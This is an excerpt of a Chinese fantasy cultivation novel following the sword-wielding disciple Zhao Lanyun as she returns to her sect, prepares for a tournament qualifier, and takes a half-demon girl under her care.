《成神的拟态万人迷》
1. 此说青涛俾连天
朝有纤纤云,招梧桐,慵懒不知天地何物,意懒云揽云之故,尊上,看天下从容,笑言无改。
……
旌旗招摇,明黄而布满陈旧血迹。旗面时不时遮盖了台下的萧萧术法刃气。旌旗下,擂台身影缠斗乱如麻,周边看台观众遍布,亦是喧闹张扬。
擂台斜上方,一方浮空高台作为宣讲台占据了擂台的最好观景位,俯视群下细观斗法。
擂台上未逸散尽的术法灵力痕迹轰然而起,原本干净整洁的台面已经彻底毁坏殆尽,显得过于破败。
擂台上三位呈掎角之势的少年,正互相提防着彼此。
最东方,一位穿着繁华斑斓圆领作战服女子,双手抓满玉牌。
她眉中点着花轴,瑰红色的艳丽姿采,长发盘起,眸光闪烁,傲慢了然。她冷淡又着怒地,向西北方,方才刚刚把她一块玉牌掀飞去的女子望了去。
那位正被繁衣女子怒视的女子穿着简单。
她笑眸扬起,黑色左襟武服,红色发带,长靴绑腿,衣着针线看起来格外紧密。右手持一把锋利黑剑对繁衣女子方向。眸发极黑,干净温和,风发意气无数。左手微抬霓光,对准另一位对手。
最后一位男子穿着规整,他暗绣白衣,发丝全部冠起,手持长银剑时刻警惕。外表清正,眸下眼睑分别两颗赤如血的红痣。神色冷淡锋利。
“怎么,懒云?在之前的比赛藏了不少招啊!还真是过分。”
繁衣女子磨着牙,对着黑衣女子嚷道,和她外表全然不符的喧闹性格。
黑衣女子名为朝揽云,她神思静敛,黑剑咒法横前,随时准备与对面两人再次对招。
剑面投影丝毫不荡,反射着两个人倒影。
她听此话挑了挑眉,目光投向繁衣女子。
“哎呀,那都是些杀招,你总不能指望我在之前的比赛用杀招吧!除了你们,没有人能在比赛中逼出我杀招了。”
白衣男子笑了起来,跟努力压着嘴角笑意的繁衣女子对视一眼,说道。
“那要谢谢懒云把我们当真正的对手了?”
“当然!”
朝揽云骄矜笑着应道,眉角上扬。
对面传来笑声。
繁复的号角传来…
不远处看台上音修们载歌载舞,激烈的旋律如同战曲,越舞越快,越奏越响。
台下观众努力看清台上之人的对决。
“她们又聊起来了?”
“谁说不是呢,还听不清声音,关系好了不起啊。”
“还真了不起,在场之人谁不是被她们淘汰的。这是真好玩,团队赛三人最后对彼此拔剑。”
“谁会赢?你觉得。”
“预言师弟子?不,预言师弟子长于结符构阵,玉牌虽使得通畅,但作为近战武器怕是打不过另外两个。”
“我觉得是那个游历弟子,你不是要去北境北的人,不知道。我可是告诉你,那可是至少十岁就开始下山灭杀怪物的狠人,一身红衣红发带在山下就标志着安全。”
“说起来,她怎么换黑衣了?她常在的旅舍好像也没听过消息了。”
“别说这件事。”有人立马阻止,“她也挺可怜的,别说了,旅舍的人大概是失踪了吧。”
“失踪?”开口者突然明白了什么,“说起来怎么没人选那个剑宗弟子啊?我看他剑意极盛。”
“怎么没人选?我就选,你看他虽然一直在宗内闭关,”那人卡壳片刻,突然想起什么恍然大悟,“我说你们怎么不选,我都快忘了,他和朝揽云比过一场。”
“不过我还是觉得他会进步的,我选他了。”
众人开闹,哄笑一片。
“明明是看上人家皮囊了吧!”
一阵点燃的香灰气围绕着半空。
是高台宣讲将那最后三分钟的香点上。
倒计时开始……
时间紧迫,三人闭嘴,再次起势,转步蹬地,一同冲向了擂台中央。
刀光剑影,声声嗡鸣。
符咒满天飞舞…
三道身影无数次飞速转过彼此的攻击、符咒、掐算。
术法灵力再起,烟雾骤现遮盖了整个赛场,色彩斑斓,如梦如厌。
香将燃尽。
大会的主持人终于走上了那个浮空高台,他准备宣布比赛名次。
风使过倦怠旌旗。
烟雾中显现出三个身影,其中两个或跪或伏。
香燃尽。
人们逐渐看清站立者面庞。
站立者抖了抖武器,它上面沾染的部分鲜血滑落在地。
“本届九龙朝巅会前三名——”
旌旗还在飞舞,残血舞动如桃花点点。
——
言归正传,故事开始前……
朝揽云是东境太初宗的一位弟子,她今年十六,常年在外游历。
一次睡醒之后,一直来往较少的宗门师祖不知何故出现在她的小院里,一脸复杂地告诉她要回宗门。
而这是东洲桃花林里的一所小屋。
桃花树下的石桌落满花瓣,朝揽云睡醒赖床后走出屋子。
她似乎没有注意到较远处竹篱笆墙旁,坐在竹椅上的师祖。一身鲜亮红衣,困倦趴在桌子上看着花瓣飘落。
从外看来,倒是颇有些落落寡欢模样。
花瓣飘到她的肩头,将要载满了一小花窝。
“懒云,再等下去时间就不够了,我们明天回宗。”
师祖开口道。
“时间还早吧。”
朝揽云抬起头,一脸不明缘由的烦躁,她脑袋晕嗡嗡的,不想离开这里。
她碾了碾脚底的花瓣。可即便如此,也只能感到飞红无有韧性,放不出心底不知何故的煎熬。
“不早了,”师祖眼中有些复杂的怜悯,叹气看着她,“为你的缘故,已经推迟很久了,再等就赶不上九龙朝巅会的选拔了。”
“或者你不想帮你的朋友们报仇?”师祖看着她的眉毛逐渐皱起。
“还记得你与她们相约夺得九龙朝巅会的首名,昆仑归墟得到去其他世界的资格吗?”
“不是说要和她们一起,找到妖魔异化为怪物杀戮人们的原因吗?”
“不是已经听说异界有解决生灵异变的办法了吗?在这之前不是一直在筹谋吗?”
“那有何用。”
朝揽云不抬头,看着脚下被碾的花瓣冷淡道,“我再怎么去赶都救不回她们了。”
“她们现在只是失踪。”
朝揽云抬起了头。
“现在唯一可以知道她们踪影的你,只要恢复遗忘的记忆就有机会找到她们。”
师祖看着朝揽云动摇的目光继续说,“朝揽云,这次不去就要再等三年,这是你们之前一同定下的计划。”
朝揽云隔着飘落花瓣,抿了抿嘴角看向师祖,他看起来有些老态了,须发皆白,手中持着一把拐杖。
衰老是时间的力量,与死亡一样,同样代表着离别。朝揽云悲哀想,即使所有人都会老,即使面前人的老态常常只是用来让她服从。
她会服从的,情感为理智让路,记忆为生命陌步。
她早已更加讨厌所有形式的离别。
“我要收拾一下屋子,给她们留封信。”
她妥协开口。
师祖深深看了她一眼,没有否决,他捋着须点了点头。
仿佛松了口气一般。
“去收拾吧,以后怕是不会再回来了。”他叹道。
朝揽云不免黯然神伤。她在这里度过了房屋初建到如今的全部时光,至今便要全部结束。
遥记这座房子还是友人们为当初流浪的她所建。
“我知道了。”
她应答一声。进了草屋,思考片刻,才开始沾墨写信。
“吾,汝们之友人——度灵小友,现已归宗门。友人勿念,吾将日日念卿们,常思常念。”
“友人们亦需念吾,日日夜夜常思长念,不论冥界幽灵亦或人间。若不念吾,吾必将闹尽旅舍三百八十难,闹得绿豆汤锈,红豆饼苦,袖子挫,发带剪越。”
“倘桌椅乱飞,吱吱绿豆慌忙,变一分模样。吾亦不会罢休。”
“常念此。”
“屋舍小院皆友人们所建,是吾之多年家也。取用随意,我心悦之。同,若小白再来,屋舍皆尽随汝用。”
“用时若念吾…”
“可禀几声,师父敬启。”
“吾去追仇,追世间纷飞之仇。”
“落笔,愿汝们念吾。”
她的字迹较为规矩温和,笔锋处却格外执拗,恍惚间可以看出被人教导落笔的痕迹。
直至手腕一顿,朝揽云看着桌案上的字帖,一时不知该作何念。
她已经完全相信她们只是失踪了。
笔尖踌躇,墨色落下了浓厚潦草一点,晕开了信纸的末页。
她只得潦草收笔,封好信走出了屋,将信埋在她们过往声声念念的宝藏通信处。
“明早就走。”
师祖看见她终于再次出了门,叹气道。
朝揽云便在半途中停下了脚步。
今年桃花极盛,她的脚畔就堆了一堆落花,抑制着心头的烦躁脚尖随意踢开了那花堆,也只看到了花瓣扑腾不住落下。
花瓣散落。
师祖站起身垂下眸去看她。
年方十六的少年身材纤长看起来很是健康,她的脸颊鼓着些弯度,眸发极黑,扎着长长的马尾,红袍鲜艳,发带飞舞。
行动时臂膀明显可以看出附着些薄肌,黑色的长靴绑腿,长眉入鬓,丹眸含笑,霞光不遮眼,已经是个半大少年了。
即使脖颈后方有一条明显的致命疤痕,也不显一丝濒危狼狈。
她会是世界的朝阳的,他想,可惜现在还过于幼稚。时间不足,不论如何计划都要施行,多年前那一面就注定了这计划必将由他启动。
师祖眼里藏着数不清的思绪。
“我知道了。”
朝揽云应答一声,很快将剩余事物处理好。
桃花林暗得快,亮得也快。
曦光漫过天涯,系了光纱遍金丝,朝揽云跟着师祖御剑行于天际。
她脚下的剑呜呜作响,细长坚韧的一把少有的乌黑色长剑,是在她十岁那年被一位友人赠于的,名为乌傩。
乌傩剑呜呜作响仿佛是在不满朝揽云慢悠悠的行驶速度,它着急赶着朝揽云向前奔去,奔向天际最远的地方。
“别闹!”
朝揽云被风灌了一嘴,掐诀稳住了身体,却止不住长剑不满,自顾自向天空前奔去。
疾风飞逝,尽往她脸上扑去。
“师祖!我先到前面赶路!”
她仿佛已遗忘所有不快悲哀,很快被扯向前方,只留下风拽下的一句话。
待师祖无奈摇了摇头,他继续操纵脚下那把拐杖不紧不慢赶着路。
……
太初宗是一个大宗门,它坐落在一片空旷的土地上。
大片的平原山地,光秃秃的,只零星分布着几颗树木。
宗门前的巨大木制大门,雕刻没有多么讲究,只是古朴如巨兽般守护伫立在太初宗前。
目光探过大门向前,就会看到一个高
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大规整的屋子,屋子上挂一个牌匾,上面题着三个刚劲有力的大字,议事堂。
常有各种神情疲惫的人们来去。
议事堂后是绵延的屋舍,屋舍中一片空地,摆放着各种武器,是训练所用的校场。
议事堂上空还环绕着几个宏伟的阵法,是连接几个侧峰的阵法,供给还未学会御剑的弟子使用,虽然这多少有些讽刺。
再远处就是前往北境以北的预备队的训练场地。
是朝揽云将来会加入的地方,是一个前往北境北斩杀对抗异化怪物的组织,入者多死伤。
朝揽云还在上方时,就见大门前几丈似乎站着几个人,在那里肃立静目等待着什么。
看起来像迎接师祖的队伍,她敏锐察觉。于是她并没有停留,故意躲开队伍,直接降落到大门前。
乌傩归于她腰间剑鞘,从半空跃下的冲力激起了不少尘土,遮住了她一时视线。
“懒云?”
清宁的声音,泉水一般。
正午的阳光有些耀眼,隔着光与尘土,朝揽云眯着眼循声望了去。
大门前一个高挑瘦削的青衣女子背光站着,肤白鹅蛋脸,手臂上挂着一个小布包,看起来窈窕美丽。
这让朝揽云颇为惊讶,她努力回思着当年记忆中,究竟有哪个人能从那群豆芽菜长成这幅模样。
“你好啊!好久不见!”
即使沉浸在回忆之中,她也顺畅的招手招呼了起来。
“你是怜儿、璨师姐,还是眉眉长老?抱歉,变化太大,我认不出了。”
“好久不见,”面前的女子看起来没有生气,她粲然一笑,自我介绍道,“我是青怜。”
朝揽云恍然大悟,她终于回忆起了记忆中那个瘦弱的师妹,其实传说有个美人母亲。
作为宗主妹妹的孩子,她六岁时来到太初宗时却意外干瘦,任谁都看不出那美人骨相。但和传闻中宗主妹妹的美人称号一样,青怜如今也美得不可方物。
变化实在有些大。
朝揽云默默感叹道。
“怜儿好久不见啊!”
她很快就这么多年和他人的相处经验,伸手揽住了她,“这么多年有没有想我啊。”
游历之人多热络,对他人也就颇为冒犯了。
但青怜只是有些惊讶地看向朝揽云,而后跟着轻抱了她一下。
朝揽云的下巴便舒服地靠在她肩膀上,懒懒地不肯好好站着了,她在她身上嗅到了一种熟悉感,于是贪恋了片刻。
当她准备放开时,却感到青怜的身体一怔。
回头看去是师祖踩着拐杖下来了,他的速度很快,拐杖在他落到地上后自然地回归了他身后的剑囊中。
“师祖。”青怜放开了朝揽云规矩喊道,她的眉眼低垂,朝揽云猜测她和自己一样是不愿意见长辈问好,所以情绪不高。
朝揽云同时看到远处那群现在她根本认不出的师长们看了过来。
于是,她埋怨地看了师祖一眼,明明故意躲开了那些宗门长辈们。
“懒云,你在这里等着,不用费腿脚跑了。青怜也是。”师祖别过了头故意不去看她嗔怪的表情,他对着青怜一脸严肃点了点头表示了应答,然后指向那群师长,“我自己去找你们师父他们,你们去议事堂外面等你大师兄去接你。”
他着重对朝揽云读了“自己”两个字,朝揽云方才松了口气。
待师祖走向了那群人,朝揽云也赶忙回过了头,躲避开那群师长投来的视线。
“懒云。”
青怜见她这般模样,微微露出笑意,轻声唤道。
她晃了晃手臂上挂着的小布包,上面绣着橙色的太阳花纹路,里面有着用油纸包裹着的糕点和榛果莲仁。她示意朝揽云接过糕点。
朝揽云不由愣了一下。
“一早就赶来应当饿了吧。这是杏子糕,”青怜看着她,眼眸嘴角漾起了一个有些怀念的笑容,她似是在努力追寻一些记忆,轻声解释道,“你以前最喜欢吃。你别伤心。”
别伤心什么,朝揽云沉默片刻。
她几下就解开了油纸包。杏子糕是淡黄色的,放进嘴里很甜腻,蜜一样的感觉,很难咽下。
她努力咽下了口中的糕点。
“谢谢。”她咕哝道,竟有些不知道在这种情况下自己应该回答什么,对于这种温馨的行为、许久不见的年少伴友。
青怜只是微笑,她没有说什么,只是眼眸中有些奇怪的情绪。
怜儿是专门折返回去拿的吧。
杏子糕上还有些热意。
朝揽云的脑子仿佛被雾糊住了一样迷茫,真奇怪,回了宗门竟也会有人这般对我。
还以为与自己有关联的人已经都死在了大火中呢。
于是在青怜伸手过来想要给她擦一擦嘴角时她下意识低了低头,让她的手可以轻松碰到她头顶,就如同对友人那般,家人之实的友人。
宗门中的人,也可以被定义为家人的吧。
她想。
怔愣过后,朝揽云很快摆脱了下意识的反应,摆出一副阳光笑意,“我就知道怜儿最好了!过了那么久还记得我的喜好。”
青怜带着非常高兴的表情揉了揉她的头,眸中似乎若有所思。
虽是尽量忽略,但朝揽云还是任着青怜好像发现什么有趣事物一样反复伸手来摸她的头。
直到不远处的一棵枯树后突然传来了一阵灵气的波动,朝揽云才很快侧过头,投去了目光。
“怎么了?”
风声吹过。
朝揽云略微抬起眼,发现了什么一样,眼角漾起了颇为愉悦的弧度。
2. 绿野手腕静默中
她笑了一下,手中隐秘光芒一闪而过,很快对着青怜摇了摇头。
“没什么哦。风罢了。”
“风”过枯木,很快没了动静。
……
“懒云长大了。”
等待在议事堂外的走廊上,与师祖交谈着走过来的中年男子,正冠白授官衣。他看着两人停下了脚步。
相貌端正严肃,眉目怅惘,一点红痣。
“比照着小时候高了很多,长了很多身量,像个大人模样了。啊,笑容也变多了。”
他尽量笑着,力图贴近温和模样。
“宗主。”
朝揽云猜测出他的身份,正起身来,将右手放到左肩向他问好。因着话语垂了垂眸,不知该作何举动。
“不方师叔说你想马上就加入预备队?”
宗主向她点了点头发问道。
朝揽云怔愣片刻,看着师祖从旁边投来的神色,无奈点头。
“是的,自下山以来我已完成数项清剿异化的任务,所以想从外编转内编。”
“你知道预备队加入便再也不能退出了吗?预备队都是要去北境北的人。也就是,没有意外的话,无论是修为多高的人都会被耗死。”
“而且这异变没有规律,唯一的规律就是你身边的人不知何时就会异变,转而向你屠杀。”
“我知道,”朝揽云安慰地攥紧青怜被惊吓到颤抖的手,她似乎不知道这一信息,“我经历过,虽然不是至朋亲友。”
朝揽云看起来很想成为后山那蔓延不绝的葬骨处的一员,宗主表情严肃默默想道,和小时候的稚语无有不同。
认为拯救他人什么的,可以让自己被看到。
他权衡着什么,侧过身垂下眸看向现今站相端正的朝揽云,看着她翕动的睫毛倒影着太阳的赤橙色,心中不知该做何想。
四周人神色各异,两人间的气氛也颇为僵持。
跟着他前来的一些长老都见此散开了。
“懒云,我们先走了,等哪天有空来找你啊!”
是陌生的记不清的师姐,穿着长老服饰。朝揽云低下了眸,向那边绽开了一个热情笑容。
“懒云,回见!”
……
过了许久宗主才叹了口气,向重新安静等着下文的朝揽云开口道。
“你回来的有些晚,选拔已经进行到十决赛了。证明一下你有资格参加十决赛的能力。”
“我在外做的那些任务可以吗?”
“不能公开,无法向其余弟子证明你的能力。”
朝揽云安静发呆。
“好的。”她点了点头,但是并无行动。
宗主神色温和,无奈叹了口气,威压灵力突然一瞬间向朝揽云侵袭而来。风压发生变化,白袍迎风不怒自威。
他在测验着朝揽云如今的实力,也是给朝揽云一个向周围弟子证明自己实力的机会。
灵力威压顺着她无有变化的表情一步步递增。这股灵力威压甚至令一旁只是被波及的青怜,有些支撑不住站立。
“宗主,懒云才刚回来,如果要测试可以等待她最佳状态。”她抿唇向宗主开口,目光满是担忧,她明明可以松开手向一边逃避这场不属于自己的试炼。
朝揽云抗灵力威压能力很强,她没有被影响,甚至看到青怜有些站立不稳还扶住了她。
宗主摇了摇头,这是宗主给朝揽云出的题目,他会根据朝揽云不同的回答和她的意愿,对她进行安排。
可朝揽云甚至没有做出回答。
“青怜,”她开了口,“不用帮我承担什么,”
他身后青怜的师父将青怜扶了回去。
朝揽云一个人站在被团团围绕住的走廊空地,她静谧站在此处,宗主无论如何也看不出她内心的想法是什么。
“测试?宗主是怎么安排的?”
朝揽云回思着青怜方才说的话发问。
片刻之后,她终于想明白般,犹豫补充道:“做决定的权柄是宗主的责任,作为战士只要听从就好。”
她不太适应宗门这种正经的回话,半晌之后回答。
自己能做什么的本就是一个无解的问题,她不知道他人需要她去做什么,那又如何体现她的价值呢?
用语狡猾,宗主叹了口气。看来,有些事也无法强求。
“萧驷。”他出声喊道。
一位肤色略黑长相端正的弟子从议事堂那堆满堂案的文书中赶了过来,他黑眼圈极深,看起来经年劳累。
“宗主,有什么事吗?”他忍着困意向宗主行了个礼,说话随意又规整。随后便对着朝揽云点了点头。
萧驷,晓峰长老门下大弟子,同样也是朝揽云的大师兄。朝揽云有印象,他代替师父总理晓峰事物,黑眼圈从未褪下,被誉为晓峰小宗主。
外界亦有传言,他马上就要成为太初宗少宗主。
“告诉懒云,以往在九龙朝巅选拔赛被迫晚归的人想参加选拔要怎么做。”
“争取到前十名的同意,并且打败他们所有人。”
被迫,朝揽云失神想道,是她昏迷的那些日子吗?明明距离回宗参加比赛还有月余,但睁开眼时就被告知迟到了。
原本还一脸疲惫的萧驷听到这个话题有了些精神,他颇为新奇地看向朝揽云,“懒云,知道吗?上一个完成这个盛举的人是我们师父。”
他颇为洋洋得意。
朝揽云感到他看过来的目光带着些试探与打量,好像是确认着什么。
她内心感兴趣,立马灿烂地笑着回答。
“师兄是想我超过师父还是输给师父呢?”
“这话说的。”
萧驷立马笑了起来,回头看向宗主,不知为何点了点头。
宗主轻咳了两声,无奈摇了摇头。
“柳栁的记录还是不难破的。”
朝揽云挑了挑眉跟着笑了起来,颇为意气风发:“师兄信不信,我可以破师父的记录!”
……
朝揽云的小院子,是个青石小筑,青石小筑上面附着一些阵法,看起来是些保护法阵。
这里没有桃花,甚至少有绿木。
当年晓峰处于怪物入侵主战场,怪物血液滴下之处皆不生植被。而这个院子同处当初血液流淌之地。
朝揽云不喜欢光秃秃的地面,她从储物囊中掏出了曾经练就的一些绿植样法器,虽然不是真正的绿植,但是也是让院子里泛了些绿意。
但还缺了点艳丽的色彩。
她翻找着,将自己炼器的一个桃树秋千摆放到院子一侧。
桃花虚幻,却片片影重姸,像极蜡花流烛。
她想极了当初炼器开炉时的另一树,或者说是,另一树所送之人。所谓可能知晓昏迷之时所发生的人。
屋子里的东西也是齐备的,她把一切合她心意装备好,便随意搬了个凳子坐在院墙下。
现在整个院里唯一的艳色唯有她炼器炼出的那假桃花木。
纵目望去,过于寡淡了。她叹了口气。
朝揽云坐在那桃花木在院墙的倒影下,靠着院墙。树影婆娑倒是显得她格外温和。
倒映葳蕤,调整好来到宗门的不适心绪后,朝揽云很快专心在手中酝酿起了一股灵气。
这个大陆运用灵气的方法是把灵气附着到物体上。虽也曾有人尝试过直接运用灵气攻击,但这样得出的结论是灵气如同无物,无法凝聚成实体。所以所谓灵修,统称因为灵气储蓄量较大,学艺较多的杂修,什么都会,什么都不精。
而正因此虽然灵修战斗力大多不强,却常常在战场上因为全能受到欢迎。
朝揽云就是一位灵修。
她前不久突然发现自己可以把灵气凝聚于实体,而她也凭借着这一突破逃过了那次濒临死亡。
她此时并不知晓这一行为,是这片大陆上千万年无人可以做到的。
而此时朝揽云正细分着灵气的属性,她将此称之为“酿灵”,如同酿酒一般把灵气择取互相杂糅酝酿,看着原本无色的灵气逐渐变幻形态质感,是她常用来解闷和修炼的方法。
酿灵颇耗精力,正午太阳向下落,朝揽云也不知不觉间在墙角睡了过去。
阴影窸窸窣窣,青石小筑外传来了轻微的脚步声,她快速惊醒,睁开了眼,抱起了自进来就没有摘下身的剑警惕地看向大门边。
“是你啊。怎么来找我了?”
看着探进来的脑袋,朝揽云松了一口气道。
肤色较白瞳色轻浅看起来十三四岁的少年,微蹙着眉,疑问道:“你认识我?”
朝揽云很快坐回凳子上,她一只手托着下巴,眼睛揶揄又专注地望向他。
“认识啊,我们回来时在一边偷看的小孩。很厉害嘛,躲过了我的咒诀,和你一起来的小姑娘不进来吗?”
朝揽云的笑意实在温和,大门后躲藏着的穿着鹅黄色衣衫大眼金睛小姑娘不由地跟了进来。
朝揽云看着她的金瞳诧异了片刻立即恢复了神情。
“你好啊,小姑娘。”
小姑娘有些腼腆地喊道:“您好。”
“想坐下的话就去屋里搬个板凳或者去坐秋千。”朝揽云点了点头随意招呼道。
女孩小心翼翼,一脸希冀地直奔一直望着的秋千而去了,而最开始进来的半大少年顺她话进屋里搬了个凳子,坐在了她面前。
“你就不好奇我们为什么要来找你吗?”
少年一脸探究地看着她。
“无所谓,你们能杀我吗?”
朝揽云话语很傲气。
少年一瞬间有些苦笑不得。
“师姐,我叫师青缇,她叫师青柏。”他指了指自己和那个小姑娘,“是宗生弟子。”
宗生弟子,家庭破灭被宗门收养的弟子,和朝揽云一样。
“我叫朝揽云。”朝揽云点了点头表示应答。
“知道,”师青缇轻笑了一声,“宗主时时夸耀,传说中天赋禀然的灵修师姐,还是第一剑修的弟子,在外斩灭了不少异变怪兽。实在让人心向往之。”
天赋?朝揽云听着他说这些话有些不耐烦了,她亦不喜欢自己的荣誉是因他人而起,如同自己的努力全然被否决了。
“直接说目的。”她开口道,“来找我是为什么?”
“青柏被选上了去九龙山。”
师青缇看出她有些不耐烦,连忙开口。
“最近我们这边与妖魔起了矛盾,青柏作为人妖混血眼睛容易被看出来,我怕她受欺负。但是我的年龄没到去不了九龙山,所以想拜托师姐照顾她。”
师青缇说的清楚,这让朝揽云脸色好了很多,看得出他还提前准备了更多话术。
她垂下眸敲着手中的剑等着他的下一句话。
“小柏不会给师姐添麻烦的,平常她都用白布遮目,宗主知道她的血脉。有什么问题都不会连累师姐的。”
异瞳属于人妖混血的标志,在全是黑发黑眸的宗门里的确过于显眼。朝揽云勉强点了点头,透过师青缇的遮挡向师青柏望去。
鹅黄衣衫的女孩显然被照顾得很好,她自娱自乐地荡着秋千,小手张开,试图抓住荡秋千时桃花树上落下的落花。可惜那是假的,只是幻象,捉不住。
她难得看好一个人,这个少年很有意思,将来一定有出息。
“为什么认为我会去九龙山?”朝揽云敛了敛眸开口道,她的手指若有所思地摩挲着剑柄。
“我听到了宗主与师姐的对话。”
“胆子挺大的,脑子也好使。”
朝揽云正视了他几眼,随意夸赞道,“不过有些冲动了,只见过一面就来找我。”
师青缇不置疑词。
“就这么把她带到我这里?不怕
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我也讨厌人妖混血?”
师青缇知道她是松口了。“把小柏带来找师姐是我最大的赌注了。”他的神色看起来十分真诚。
“我可不喜欢赌注。”朝揽云扯了扯嘴角站起了身,她一直抱在怀里的乌傩剑也自觉飞回了腰间。
“小柏,”她走到秋千边半跪膝,弯眸温和地笑了起来,“可以让我看看你的眼睛吗?”
师青柏看向师青缇,见师青缇点了点头就闭上了眼。
朝揽云手中酝酿出温和的灵气附在她眼上。
或许出于对灵气的向往,师青柏的脑袋情不自禁地往朝揽云那里靠了靠,这让朝揽云无奈地减少了些灵力输出。
“小柏,”朝揽云的灵力在她的眼角盘旋,她斟酌片刻开口道,“我有一个朋友研究过遮镜,佩戴上可以让妖的眼睛看起来是黑色的。我会做一下。你想试试吗?”
朝揽云看着她手腕上绑着的白布叹了口气,时时照料对朝揽云来说过于为难,所以不如解决这个原因。
师青缇的眼神格外惊喜看向朝揽云。
朝揽云无视了他,检查完就松开了手,她开始回思遮镜需要的材料。
“我以后不用装成看不见了吗?”
一直安安静静,突然睁开眼的师青柏发问,她的模样就像捧着一缕如午夜的萤火般浩瀚却微弱的希望,让人心软。
朝揽云避开了这眼神。
“遮镜是法器,对修为的要求较高,不过我可以用阵法幻象改变一下。”
“虽然修为比我高的人会看出来,但至少可以避免一些麻烦。”
朝揽云拎着储物囊出来,她指挥师青缇从屋里搬出了一张桌子,将一堆炼器材料抛出。
师青缇见此,赶忙惊讶弯腰拱手,“如此破费,实在麻烦您了。”
“别这么快高兴。”朝揽云扫了他一眼,“这些材料算你欠的。而且免费送你的话,你心上也不安吧。”
师青缇默认地无奈笑笑。
“麻烦师姐还要体谅我的心情了。”
“不必这般,你就当我是在为友人祈福。”
“友人?”
朝揽云不愿多言。
天色渐沉将熹,燕飞过。
师青缇意外接到了消息,这周的符箓需要加急制造,作为一个符修,虽然只是个学徒,他还是要立马赶去。
然后如同摸准了朝揽云性子一般,有恃无恐地把师青柏托付给了她。
朝揽云多少有些无奈,站在院子里,一手构造着遮镜需要的阵法,一面和师青柏面面相觑。
学徒都要调去了啊,看来出了什么大情况,她叹了口气,不知究竟是何事。
百无聊赖之下朝揽云打量着庭院准备给秋千旁边修个水池。
她比着距离示意师青柏闪开之后,剑出鞘,向秋千旁边劈了几剑。剑气所落之处泥土翻涌,形成一道深深的壕沟。
“云师姐好厉害。”师青柏一脸艳羡看了过来。
朝揽云看着她的目光,偏过头去,她压了压嘴角,又压了压嘴角,最后还是没压住。
她喜欢被吹捧。
“你以后也能做到的。”她轻声不好意思道。
“不会的。”朝揽云望向难过摇头的师青柏,“我是人妖混血,不可以修炼。”
“混血修炼的方式与人类不同,总能找到办法的。”
“传说中逍逍君主在路过繁花城时,便为一妖启灵智,如人修。若你想修炼,有朝一日是可以找到办法的。”
“可是师姐,逍逍君主是陵吾天地最后主宰之一,是帝皇,她能做到这一点不是理所应当吗?我不会是她的。”
“哺元道君曾传十二圣言助青藤道君济世,说不定此中可有解决之法。”
“师姐所说固然有希望,但若圣人遗藏降世,怎可为我所得。”
朝揽云走神想着,不能修炼就意味着在这个随时可能被袭击的时代里把自己的人身安全交给别人,尤其师青柏还是人妖混血,越发艰难。人妖关系一直紧张,近些年来还有过一场冲突。
如此身份,太过难捱。
她瞥了眼师青柏,回忆起记忆中妖类友人的修炼方式。
“人妖混血?小小度灵心中到底作何想啊,即便是有人妖相爱,但常常也不会生子的。”
“为何?”
“就算现今对人妖结合的排斥少了很多,”记忆中她叹了口气,“但半妖始终是混血,只要数量还是这般少,就会受制于人。两者本便为爱抛弃一切,没有人愿意自己的孩子生下来会面对苦难。”
朝揽云有心去探一下师青柏的经脉,但这不过第一次见面怕是太过唐突。
人与妖的混血,她颇为恍惚,是抱着何样的想法诞生的呢?
就这样踌躇着,朝揽云很快清理好了被劈出的土壤。
“小柏,可以探一下你的经脉吗?”
朝揽云最终还是开了口。
“可以的。”师青柏一瞬间有些警惕,但她很快露出甜甜的笑容伸出手,开口道,“云师姐不用担心的,我虽然不能修炼但天生力气很大,所以才被选上了去九龙山的队伍。”
她很敏锐,没有察觉到朝揽云身上有一丝危险感。
朝揽云的灵气开始在师青柏经脉里蔓延,她皱了皱眉。
“你的经脉像是人妖的经脉杂糅,如果想要修炼就要知道是什么妖的血脉,然后获得他们的修炼方式。”
她刻意不去打听她妖的血脉来源于哪种妖。
师青柏有些可惜地看着朝揽云收回去的手,朝揽云发现了,疑问地歪了歪头。
“师姐的灵气很舒服。”她颇为不好意思地解释道。
她为刚才一瞬间的警惕而尴尬。
“谢谢。”
空气一时间静默了。
朝揽云沉默片刻回夸道。
“你的手腕也是。”
3. 第 3 章石钟斗勇碎半光
“懒云!朝揽云!”
天上隗阳已上半钟,青石小筑外传来了青怜的声音。
朝揽云半睡半醒之间从长凳上起了身,她揉着头,神色还浸在记不清的噩梦中。
她的发带还搭在椅背上半牵半挂着,因昨晚师青柏留宿,在长凳上勉强睡下导致下巴、侧颊都晕了浓厚红印。
“青怜,早上好。”
她很快调整好思绪,神情自若喊道。目光赤诚,如同没有发现她因看到床上的师青柏,而吓出的惨白脸色一样。
“懒云…”她指着师青柏,手腕有些颤抖,很是慌乱地要说些什么一样。
“我们去院子里说话,”朝揽云站起身用红发带扎起头发出门,“她还没醒。这里交流容易把她吵醒。”
“她是谁?”坐到院子里的秋千上后,青怜依旧无法平息刚才遭受的刺激。
待朝揽云停下脚步回过头来看着她,就立刻问道。
“你不是刚回宗门吗?怎么第二天院子里就住上了一个小姑娘。还紧闭双眼,躺在你的床上。”
青怜惊魂未定,抓着秋千的手臂都有些发抖。
“这不重要,”朝揽云不知该怎么解释,自然地回避了话题,“重要的是怜儿你找我什么事?”
青怜盯了她一会,缓过来情绪,见她坚持躲避有些生气,但还是顺着朝揽云的意思转移了话题。
“宗主已经安排你的比试了,今天下午就跟我去校场比试。”
朝揽云点了点头示意明白后,走到了昨天用剑劈出的坑洞面前发问。
“宗门内禁止用蓄水阵吗?我想造个池子。”
“造池子?”青怜见她这般就当话题过去了,没好气地白她一眼,“你都把地劈成这般了,还问我?”
“哦,知道了。可以。”
朝揽云听到等同于可以的回答就开始从储物囊里掏出材料。
蓄水阵阵纹是蓝白色的,需要用吸引空气中的水分子的材料组建阵法。长白山蓝洞的冰,东域未尽湖的彼诉花,西沙的孑子,朝揽云认真沉静地一步步将蓄水池构造着。
庭院中被劈开的那剑痕之间土壤逐渐被聚集起来的水濡湿了,开始积蓄起一滴滴清流。
“云姐姐。”
在两人出门后,师青柏一个人静静等了很久,而后眼上蒙着白布摸索着出了门。
“青柏,你起了啊。”朝揽云站起身看向她,她的手上还沾染些许泥土。和空中召来的水分混杂的泥土蕴出水滴,正从她指尖滴落。
“嗯。谢谢姐姐昨天收留我。”
师青柏扶着门,只身影单地站在门前,尝试摸着门向外走。
“别动,我来扶你。”青怜赶忙赶过去。
她太过好心了,朝揽云有些漠然地想。
“谢谢师姐。”师青柏露出笑容看向青怜。
青怜的心一下就软了。
